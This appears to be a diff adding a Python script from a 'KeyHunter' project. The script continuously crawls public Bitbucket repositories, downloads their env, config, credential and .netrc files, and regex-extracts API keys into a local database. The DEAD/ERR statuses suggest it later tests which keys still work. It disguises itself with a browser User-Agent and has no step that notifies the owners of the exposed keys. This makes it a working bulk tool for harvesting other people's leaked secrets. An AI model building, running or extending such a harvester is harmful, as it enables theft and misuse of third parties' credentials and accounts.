KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

bitbucket_eternal.py

@@ -0,0 +1,169 @@
+"""Bitbucket eternal lane — public repos sorted by -updated_on, scan root tree
+for config/env files, fetch raw, regex keys → keys.db."""
+import os
+KF_BASE = os.path.dirname(os.path.abspath(__file__))
+os.makedirs(os.path.join(KF_BASE, "data"), exist_ok=True)
+import re
+import sqlite3
+import threading
+import time
+import hashlib
+import os
+import requests
+_S = requests.Session()
+_S.trust_env = False
+
+DB = os.environ.get("KF_DB") or os.path.join(KF_BASE, "data/keys.db")
+REST = 300  # sec after cycle
+WORKERS = 12
+PAGES_PER_CYCLE = 40  # 40*100 = 4000 repos per cycle
+API = "https://api.bitbucket.org/2.0"
+
+H = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
+
+# filenames worth fetching raw
+INTERESTING = re.compile(
+    r'(^|\.)(env|config|settings|credentials|secrets?|tokens?|keys?|auth)\b'
+    r'|\.env|\.ini$|\.cfg$|\.properties$|\.toml$|\.yaml$|\.yml$|\.json$'
+    r'|\.bashrc|\.profile|\.netrc', re.I)
+
+from key_patterns import PATTERNS
+
+GARBAGE = re.compile(r'(pass|word|test|exam|ple|dummy|fake|xxxx|1234|sample|your|here|placeholder|insert|replace|REPLACE|secret|token|key)\b', re.I)
+# TODO placeholder check applied to exact value when short
+
+db = sqlite3.connect(DB, timeout=120, check_same_thread=False, isolation_level=None)
+db.execute("PRAGMA busy_timeout=120000")
+DB_LOCK = threading.Lock()
+
+
+def log(msg):
+    print(time.strftime("[%H:%M:%S] ") + msg, flush=True)
+
+
+def seen_vals():
+    cur = db.cursor()
+    cur.execute("SELECT val FROM keys")
+    return {r[0] for r in cur.fetchall()}
+
+
+def insert_key(key, prov, repo):
+    h = hashlib.sha1(key.encode()).hexdigest()[:16]
+    with DB_LOCK:
+        try:
+            db.execute(
+                "INSERT INTO keys (hash, val, prov, status, found, repo) "
+                "VALUES (?,?,?,?,?,?) "
+        "ON CONFLICT(hash) DO UPDATE SET status='NEW', found=excluded.found, repo=excluded.repo "
+        "WHERE keys.status IN ('DEAD','ERR')",
+                (h, key, prov, "NEW", "bitbucket-eternal", repo))
+            db.commit()
+        except sqlite3.Error:
+            pass
+
+
+def garbage(key):
+    return bool(GARBAGE.search(key))
+
+
+def scan_repo(full_slug, seen):
+    """List root tree, fetch interesting files raw, regex."""
+    n = 0
+    try:
+        r = _S.get(f"{API}/repositories/{full_slug}/src",
+                         params={"pagelen": 100}, headers=H, timeout=20)
+        if r.status_code != 200:
+            return 0
+        for ent in r.json().get("values", []):
+            if ent.get("type") != "commit_file":
+                continue
+            path = ent.get("path", "")
+            if not INTERESTING.search(path):
+                continue
+            try:
+                raw = _S.get(f"{API}/repositories/{full_slug}/raw/{path}",
+                                   headers=H, timeout=20)
+                if raw.status_code != 200 or len(raw.text) > 300_000:
+                    continue
+                text = raw.text
+            except Exception:
+                continue
+            for prov, rx in PATTERNS:
+                for key in rx.findall(text):
+                    if isinstance(key, tuple):
+                        key = key[0]
+                    key = key.strip().strip('"\'`.,:')
+                    if not key or key in seen:
+                        continue
+                    if garbage(key) and len(key) < 50:
+                        continue
+                    insert_key(key, prov, full_slug)
+                    seen.add(key)
+                    n += 1
+                    log(f"  +{prov} {key[:12]}… {full_slug}")
+    except Exception:
+        pass
+    return n
+
+
+def cycle(seen):
+    total = 0
+    lock = threading.Lock()
+    pages = list(range(1, PAGES_PER_CYCLE + 1))
+    idx = [0]
+    errs = [0]
+
+    def work():
+        nonlocal total
+        while True:
+            with lock:
+                if idx[0] >= len(pages):
+                    return
+                page = pages[idx[0]]
+                idx[0] += 1
+            try:
+                r = _S.get(f"{API}/repositories",
+                                 params={"pagelen": 100, "page": page,
+                                         "sort": "-updated_on"},
+                                 headers=H, timeout=25)
+                if r.status_code != 200:
+                    with lock:
+                        errs[0] += 1
+                        if errs[0] == 1:
+                            log(f"  page {page}: HTTP {r.status_code} {r.text[:80]}")
+                    continue
+                repos = [v["full_name"] for v in r.json().get("values", [])
+                         if v.get("full_name")]
+            except Exception as e:
+                with lock:
+                    errs[0] += 1
+                    if errs[0] == 1:
+                        log(f"  page {page} err: {e!r}")
+                continue
+            got = sum(scan_repo(slug, seen) for slug in repos)
+            with lock:
+                total += got
+            time.sleep(1)  # politeness
+
+    ths = [threading.Thread(target=work, daemon=True) for _ in range(WORKERS)]
+    for t in ths:
+        t.start()
+    for t in ths:
+        t.join()
+    return total, errs[0]
+
+
+def main():
+    log(f"=== BITBUCKET eternal START threads={WORKERS} ===")
+    while True:
+        try:
+            seen = seen_vals()
+            n, fails = cycle(seen)
+            log(f"CYCLE done: +{n} new, {fails} page-fails; resting {REST}s")
+        except Exception as e:
+            log(f"CYCLE error: {e}; resting {REST}s")
+        time.sleep(REST)
+
+
+if __name__ == "__main__":
+    main()